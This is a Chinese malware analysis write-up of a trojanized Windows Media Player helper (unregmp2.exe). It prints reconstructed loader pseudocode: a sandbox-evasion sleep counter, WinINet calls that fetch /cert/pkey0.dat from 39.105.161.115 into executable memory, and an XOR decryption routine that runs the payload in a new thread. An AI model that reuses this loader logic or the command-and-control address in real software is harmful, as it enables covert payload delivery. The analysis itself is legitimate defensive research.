一个恶意样本分析全过程实战案例

由于只是一个恶意样本分析案例，主要是给大家看一下整个过程以及思路，伪装的unregmp2.exe源文件我这是没有的，软件逆向这方面有感兴趣的朋友凑合着看看吧！

一、初探

首先查看属性 (图 1) 后发现样本应该是一个伪装的unregmp2.exe，根据版本号查明是属于Windows7的Windows Media Player，遂找来原程序进行对比。

图1

经过初步的bindiff之后发现有3个方法 (图 2) 被修改过，查看过每个方法的xref引用后，发现IsProcessWOW64是最先在WinMain中被调用的，所以准备从此方法入手进行跟踪。

图2

二、深入

IsProcessWOW64

在IDA中查看修改过的IsProcessWOW64后发现此方法读取[ebp + 4]的地址后再加上0xF6F1并且调用这个地址所在的函数，当前两条指令将ebp更新为当前函数的栈底后，那么[ebp + 4]的值则为进入函数时保存的eip，即当前函数的返回地址，回到WinMain后发现返回地址为0x102A8F6 (图 3)，再加上0xF6F1则为0x1039FE7，跳转到此处后发现为第二个修改过的函数RegisterUniversalPlayerInfo的位置，于是乎继续深入跟踪。

图3

RegisterUniversalPlayerInfo

刚进入此方法时发现IDA 7.5反编译器的解析似乎有些问题 (左图)，经过检查PEB的结构体后发现预定义的结构有些成员的偏移量出现错误，而且对于其他一些结构 (如 PEB_LDR_DATA 和LDR_DATA_TABLE_ENTRY ) 的支持也不是很好，经过手动修复后结果如下 (右图)

最开始部分可以看出它是在寻找开头为'K'或'k'并且第7个字符为3的名称，想了想也只有kernel32比较符合要求，后面的分析也印证了这一猜测。继续往下看会看到一个陌生的函数sub_103AA4A，看起来是把前面找到的基址和hash作为参数，经过一系列算法取得对应的函数地址，为了方便起见，这里直接下断点拿到需要的地址并进行命名。

节选

继续往下跟，首先发现了一个用到了第一个实参值的赋值 (图 4)，原函数的签名并没有指出带有参数，那我们回到调用它的IsProcessWOW64，能够发现在调用前它将eax的值push到了栈上作为第一个参数(图 5)，上面讨论过eax的值就是函数RegisterUniversalPlayerInfo (0x1039FE7) 的地址，那么这里的表达式的结果则是0x1033E89，在IDA里查看发现为第三个修过的函数RollbackExtensionHandler所在的地址，暂做记录。

图4

图5

接着又发现了一个奇怪的判断 (图 6)，不过根据上面分析出的a1的值，此处判断是不成立的，继续往下看便能看到一个对CreateThread的调用 (图 7)，这里新线程执行的函数为a1的值，即RegisterUniversalPlayerInfo，传入的参数为0x8FA10973，这里就能解释图 6 中判断所比较的值了，该判断里有效的代码部分只有一个83秒的Sleep。可以看到创建线程后便跟着一个80秒超时的WaitForSingleObject，此处判断返回值是不是为WAIT_TIMEOUT (0x102)，很明显这个判断是成立的于是继续向下看。

图6

图7

这个判断中的代码有很多花指令，经过提炼后前半部分有效指令如下：

while (1)
{
    if (WaitForSingleObject(newThread, 0) == 0)
        break;
    counter++;
    if (counter >= 0xFFFFFFFF)
        break;
}
if (counter >= 0x26000)
{
    infoBufPtr = VirtualAlloc(0, 812, MEM_COMMIT, PAGE_READWRITE);
    memset(infoBufPtr, 0, 812);
    *(DWORD *)infoBufPtr = rupiEsp+0x14;
sub_103AC47(rupiEsp+0x14, (int)infoBufPtr + 4);
RollbackExtensionHandler(0, 0x8FA10973, infoBufPtr);
....

可以看出，每次循环都会检测之前创建的Sleep线程有没有结束，如果结束了的话就break，没有结束的话就将计数加1，最终判断数字是不是大于0x26000。这里推测这样的写法是为了躲避某些沙盒分析的
Sleep加速，使其无法分析它的行为。接着它分配一段812字节大小的可读写的内存区域，看起来是储存一些信息的，所以称作infoBufPtr，并且将此内存块填0，为了方便辨别，此方法内的esp称为rupiEsp，那么这里将当前函数的rupiEsp+0x14地址复制到了infoBuf里，并且将rupiEsp+0x14和infoBuf地址加4后的地址作为参数传递给了sub_103AC47。这个新的函数看起来只是存储了一些信息到infoBufPtr指向的内存里，具体的infoBuf信息见下表，发现了可疑的IP及路径：：

起始地址	储存内容
infoBufPtr	rupiEsp+0x14
infoBufPtr + 0x108	"39.105.161.115\0"
infoBufPtr+ 0x20C	80 (端口号)
infoBufPtr + 0x20E	"/cert/pkey0.dat\0"
infoBufPtr + 0x328	30000

最后就来到了第三个修改过的函数RollbackExtensionHandler

RollbackExtensionHandler

刚进入函数后发现还是有很多花指令，经过提炼后如下，又发现了个与之前类似的判断，不过可以很容易看出上面调用时候传进来的0x8FA10973与比较值是相等所以继续向下。

if (a2 == 0x8FA10973)
{
    sub_1034A55(*(DWORD *)a3, (int)a3 + 4);
while (1)
{
    if (sub_1033FD7(*(DWORD *)a3, (int)a3 + 4))
break;
Sleep(*(int *)(a3 + 0x328)); // 30000
}
}
else if ....

首先调用了sub_1034A55，这里的a3就是上面传入的infoBufPtr，那么infoBufPtr开头所存的就是之前函数的rupiEsp+0x14，所以这里的参数与之前的sub_103AC47是一样的，这个函数的功能也跟之前的类似，对infoBufPtr指向的内存块写入了一些信息具体如下，搜索后发现为IE11的UserAgent

起始地址	储存内容
infoBufPtr +0x4	$"Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko\0"

接着在循环里调用了sub_1033FD7，进入这个函数后发现有很多如下的间接地址函数调用，而且都是与rupiEsp+0x14相关的，回到原来的函数查看栈帧来判断所调用的函数。

v88 = (*(a1 + 0x18))(a2, v1, 0, 0, 0);
var_1C = (*(v3 + 0x24))(v88,a2 + 0x104, *(uint16_t *)(a2 + 0x208), 0, 0, 3, v93,
0);
(*(var_8 + 0x2C))(var_1C);
*(DWORD *)(a2 + 0x318) = (*(var_8 + 16))(0, v82, 4096, 64);
...

从上面也可以看到有很多地方用到了infoBufPtr所指向的位置存储的信息，经过整理提炼后，前半部分的代码逻辑如下 (为了方便辨识，此方法的esp称为rehEsp)

inetHandle = InternetOpenA("Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0;
rv:11.0) like Gecko", 0, 0, 0, 0);
if (!inetHandle)
    return 0;
sessionHandle = InternetConnectA(inetHandle, "39.105.161.115", 80, 0, 0,
    INTERNET_SERVICE_HTTP, INTERNET_FLAG_RELOAD, 0);
if (sessionHandle)
{
    if (sub_10344F3(infoBufPtr + 0x4, rupiEsp + 0x14, infoBufPtr + 0x4,
            INTERNET_FLAG_RELOAD, sessionHandle, rehEsp+0x24) == 0)
    {
        InternetCloseHandle(sessionHandle);
        InternetCloseHandle(inetHandle);
        return 0;
    }
    ....

(片段 1 @ sub_1033FD7)

继续进入sub_10344F3进行分析，又是很多花指令与间接调用，精简后伪码如下，发现在 infoBufPtr +0x320 的位置存入了dat文件的大小

reqHandle = HttpOpenRequestA(sessionHandle, "GET", "/cert/pkey0.dat", 0, "", 0,
    INTERNET_FLAG_RELOAD, 0);
*(rehEsp + 0x24) = reqHandle;
if (reqHandle)
{
    if (HttpSendRequestA(reqHandle, 0, 0, 0, 0))
    {
        infoSize = 4;
        if (HttpQueryInfoA(reqHandle, HTTP_QUERY_STATUS_CODE |
            HTTP_QUERY_FLAG_NUMBER, &retCode, &infoSize, 0))
        {
            if (retCode == 200)
            {
                infoSize = 259;
                HttpQueryInfoA(reqHandle, HTTP_QUERY_CONTENT_LENGTH,
                    &contentLen, &infoSize, 0);
                *(DWORD *)(infoBufPtr + 0x320) = strtoul(contentLen, 0, 10);
                *(DWORD *)(infoBufPtr + 0x324) = 0;
                return 1;
            }
        }
    }
    InternetCloseHandle(reqHandle);
    return 0;
}

(sub_10344F3)

如果正确执行，sub_10344F3的返回值应为1，则接着执行sub_1033FD7的片段 1 的剩余部分，剩余部分的代码总结如下

flag = 0;
codeBufPtr = *(DWORD *)(infoBufPtr + 0x31C);
contentLength = *(DWORD *)(infoBufPtr + 0x320);
if (codeBufPtr == NULL)
    codeBufPtr = VirtualAlloc(0, contentLength, MEM_COMMIT,
        PAGE_EXECUTE_READWRITE);
if (codeBufPtr != NULL)
{
    while (1)
    {
        readLength = *(DWORD *)(infoBufPtr + 0x324);
if (readLength >= contenLength)
{
    flag = 1;
    break;
}
recvLength = 0;
if(!InternetReadFile(reqHandle,
    codeBufPtr + readLength,
    contentLength - readLength,
    &recvLength))
    break;
if(recvLength == 0)
    break;
readLength += recvLength;
*(DWORD *)(infoBufPtr + 0x324) = readLength;
}
}
InternetCloseHandle(reqHandle);
InternetCloseHandle(sessionHandle);
InternetCloseHandle(inetHandle);
return flag;

(片段 2 @ sub_1033FD7)

所以运行到这阶段时infoBuf又多了一些信息，整理如下

起始地址	储存内容
infoBufPtr + 0x31C	pkey0.dat的内容
infoBufPtr + 0x320	pkey0.dat的大小
infoBufPtr + 0x324	读取pkey0.dat的总大小

正常执行的情况下返回值为1，并返回到RegisterUniversalPlayerInfo

回到RegisterUniversalPlayerInfo

回到RegisterUniversalPlayerInfo中执行完RollbackExtensionHandler的部分，剩下的代码大致如下

codeBufPtr = *(DWORD *)(infoBufPtr + 0x31C);
codeBufLength = *(DWORD *)(infoBufPtr + 0x320);
decLength = codeBufLength >> 2;
decKey = *(int *)codeBufPtr;
for (int i = 1; i < decLength; i++)
{
    decKey = 0x41C64E6D * decKey + 0x3039;
    *((DWORD *)codeBuf + i) ^= decKey;
}
CreateThread(0, 0, codeBufPtr + 4, 0, 0, 0)
Sleep(INFINITE);

很明显，这里把直接接收到的pkey0.dat的内容进行了xor解密，接着创建了一个线程来执行解密后的可执行文件并一直挂起，这里由于分析时pkey0.dat文件已经无法获得，所以无法接着分析接下来执行的内容，分析只能到此为止。

总结：

此恶意样本通过在原本正常的WMP自带程序中填充恶意代码来起到混淆视听的作用，通过在代码中加入了许多无用的判断、循环与赋值，增加静态分析的难度，并且针对许多容易被检测到的字符串和函数都进行了间接的赋值与获取，甚至对沙箱的检测机制都有所针对，可以说是绕过了大部分的检测，或许以后可以通过对其行为 (例如网络连接、内存空间申请或线程创建) 的可疑性来进行检测与发现，最终没能分析到远程文件的执行也是有些可惜。

一、初探

二、深入

发表评论取消回复